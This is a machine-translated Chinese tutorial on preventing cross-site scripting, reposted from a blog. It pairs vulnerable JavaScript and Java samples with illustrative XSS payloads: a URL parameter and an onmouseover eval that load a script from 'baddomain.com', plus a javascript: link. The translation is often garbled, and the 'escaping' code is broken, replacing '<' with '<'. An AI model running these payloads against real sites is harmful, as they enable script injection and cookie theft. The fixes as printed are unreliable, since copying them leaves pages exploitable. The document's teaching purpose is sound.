防止跨站点脚本攻击
逃避参数和用户输入
这是经典的XSS攻击,可以打开您的服务或Web应用程序,黑客的攻击。根据设计,该网站显示用户的ID,这是作为URL参数传递。下面的脚本将采取的ID,并显示一个值得欢迎的的消息。
<script type="text/javascript">
var start = window.location.href.indexOf("id");
var stop = window.location.href.length;
var id = "guest";
if (start < stop) {
id = decodeURIComponent(window.location.href.substring(start,stop));
}
document.write("Hi " + id);
</script>
一个到URL请求的index.html?id=greg(假设包含脚本的页面是index.html)将导致:
Hi,greg
会发生什么,而不是“greg””我用下面的网址:
index.html的ID =%3Cscript%20src =%22http:/ / baddomain.com / badscript.js%22%3E%3C/script%3E
请注意上面的URL中包含一个脚本的链接http://baddomain.com/badscript.js,从不同的域包含恶意代码。把页面和所有风险中的数据加载页面时,此脚本会被评估。
为了防止这些攻击类型的客户端代码应该始终逃避“<”and “>” 参数显示或JavaScript代码进行评估。
你可以用在下一个例子中,可以看到一个简单的代码行。
<script type="text/javascript">
var start = window.location.href.indexOf("id");
var stop = window.location.href.length;
var id = "guest";
if (start < stop) {
id = decodeURIComponent(window.location.href.substring(start,stop));
<span style="color:green"id = id.replace(/</g, "<").replace(/>/g, ">");
}
document.write("hi " + id);
</script>
Consider the following containing a form where a user enters a description that will be visible to other users.
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
<ml>
似乎无辜足够的权利呢?尝试在文本区域中包括以下内容。
<a onmouseover="eval('s=document.createElement('script'); document.body.appendChild(s); s.src='badscript.js'')">Mouse Over Me</a>
一个鼠标悬停的链接会导致一个脚本badscript.js要加载的。这个脚本也可以传递cookie或任何其他信息,它希望“s.src”URL参数 。与第一个例子中,用户需要点击一个坏链接不同,这种类型的攻击需要一个简单的鼠标悬停加载的badscript.js。
所以现在的问题想到:“你如何保护你的网页正在被利用的呢?”
随着参数,你应该逃脱形式的输入。如果你计划,让用户提供他们自己的标记,考虑未来的解决方案“删除的eval(),JavaScript中,和脚本从用户提供的标记。
下面的代码显示了如何逃脱在客户端上的标记。www.2cto.com
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
description = description .replace(/</g, "<").replace(/>/g, ">");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
<ml>
代码描述= description.replace(//g, ">");过 滤用户输入,并防止不必要的脚本被执行。
现在,我们已经看了如何防止大多数攻击下一节重点情况下,你想允许用户提供不包含恶意代码的标记。
eval()函数删除,浏览器:, 从用户提供的标记和脚本
有可能的情况下,你想允许用户添加的标记,如显示其他用户看到的链接或HTML内容。考虑的博客,可以为用户提供的URL,HTML标记,HTML注释,或任何其他标记。之前,它显示在一个页面或之前,它被发送到服务器或服务的解决办法是将所有标记进行筛选。下面的例子演示了如何防止恶意代码的同时,允许一些HTML标记。
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
description.replace(/["'][s]*javascript:(.*)["']/gi, """");
description = description.replace(/script(.*)/gi, "");
description = description.replace(/eval((.*))/gi, "");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
<ml>
上面的例子中删除所有的eval() ,JavaScript 脚本引用的可能是在说明字段输入 。更换这里不是一个完美的,因为它可能会取代合法使用JavaScript和脚本的话,在文档正文 。您可能会考虑修改正则表达式只能看在标签的属性,例如,删除脚本 。有其他方面的考虑,过滤,如换行符的字符集,大小写敏感,通常在发动攻击的客户端代码时,你应该牢记。由于一些浏览器将允许你指定从JavaScript调用CSS样式,你也应该考虑搜索用户提供的CSS样式,以及。
在服务器上过滤用户输入
有关跨站点脚本的问题,大部分是由于设计不佳的客户端。服务器也可以不情愿地成为跨域脚本攻击的参与者,如果他们重新显示未筛选的用户输入。考虑下面的例子,黑客手动使一个HTTP POST请求设置与下面的首页网址。
<a href="javascipt:eval('alert('bad')');">点击我</ a>
URL将被存储在服务器上是揭露任何用户点击的URL的JavaScript。上面的例子似乎不够无辜的,但考虑会发生什么,如果警报(“坏”),“浏览器”包含恶意代码。为了防止这种攻击,你应该在服务器上过滤用户输入。下面的Java示例演示如何使用正则表达式替换过滤用户输入。
String description = request.getParameter("description");
description = description.replaceAll("<", "<").replaceAll(">", ">");
description = description.replaceAll("eval((.*))", "");
description = description.replaceAll("["'][s]*((?i)javascript):(.*)["']", """");
description = description.replaceAll("((?i)script)", "");
上面的代码中删除的eval()调用,JAVASCRIPT 调用和脚本引用替换这里是不是一个完美的,因为它可能取代的话JavaScript和脚本文件的主体合法用途 。上面的代码可以应用于所有输入参数或使用上的每一个参数的基础上,根据什么多大的标记,你想允许用户提供一个servlet,servlet过滤器,或JSF组件。您可能需要完善的正则表达式过滤的内容来处理更多的还是考虑一个Java库的建成,专门清除恶意代码 。
JSONP“
使用注意与动态脚本注入
动态脚本注入检索JSON数据(也被称为JSONP)可以强大而有用的,因为它从源服务器分离您的客户端。仍然是一个有争论位使用JSONP的,有些人认为在JavaScript作为一个黑客或安全漏洞,因为当你动态,包括你给第三方脚本的参考,一切在您的网页脚本的完整访问。该脚本可以继续注入其他脚本或做几乎任何想要的 。
如果您选择使用JSONP确保您互动与您信任的网站。有什么能够阻止一个JSONP的提供者包括JSONP的数据不需要的脚本。一个替代方案,将提供代理服务,你可以控制输出,限制访问,并可以缓存需要。
避免XSS钓鱼攻击
这下建议侧重于保护自己作为一个用户从一个网站,很容易受到跨站点脚本攻击。
钓鱼攻击,或攻击,似乎是一个有效的URL链接到一个欺诈性网页的目的是收集用户的数据,有什么新的网络世界。一个相关的攻击包括跨站点脚本攻击一个合法的网站有一个跨站点脚本漏洞的URL包含一个脚本引用。这种联系可能会出现在一封电子邮件,博客发布/发表评论,或其他用户生成的内容,包含一个URL。点击一个链接到一个站点包含一个跨站点脚本漏洞会导致第三方脚本包括随着你的要求,可能会暴露你的密码,用户ID,或任何其他数据。请看下面的例子:
在URL中快速查找,显示它引用了网站http://baidu.com/index.html 。脚本包含在URL参数后,不知情的用户可能看不到 。
这也是明智始终在仔细看看网址,并与它们所提供的URL参数。网址将始终显示在您的浏览器的状态栏,你应该总是寻找外部脚本引用。另一个解决办法是手工输入到浏览器的URL栏的链接,如果链接的嫌疑。
了解已知的漏洞和非常小心你提供这些网站的任何个人资料的网站。
虽然基于JavaScript的接口,可以非常灵活的,你必须非常小心,所有用户提供的输入,无论是作为参数或表单数据。务必确保逃跑或过滤器上的客户端和服务器的输入。作为一个用户,您应该谨慎,不要成为一个脆弱的网站的受害者。这是更好地较安全的消息!
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/2342.html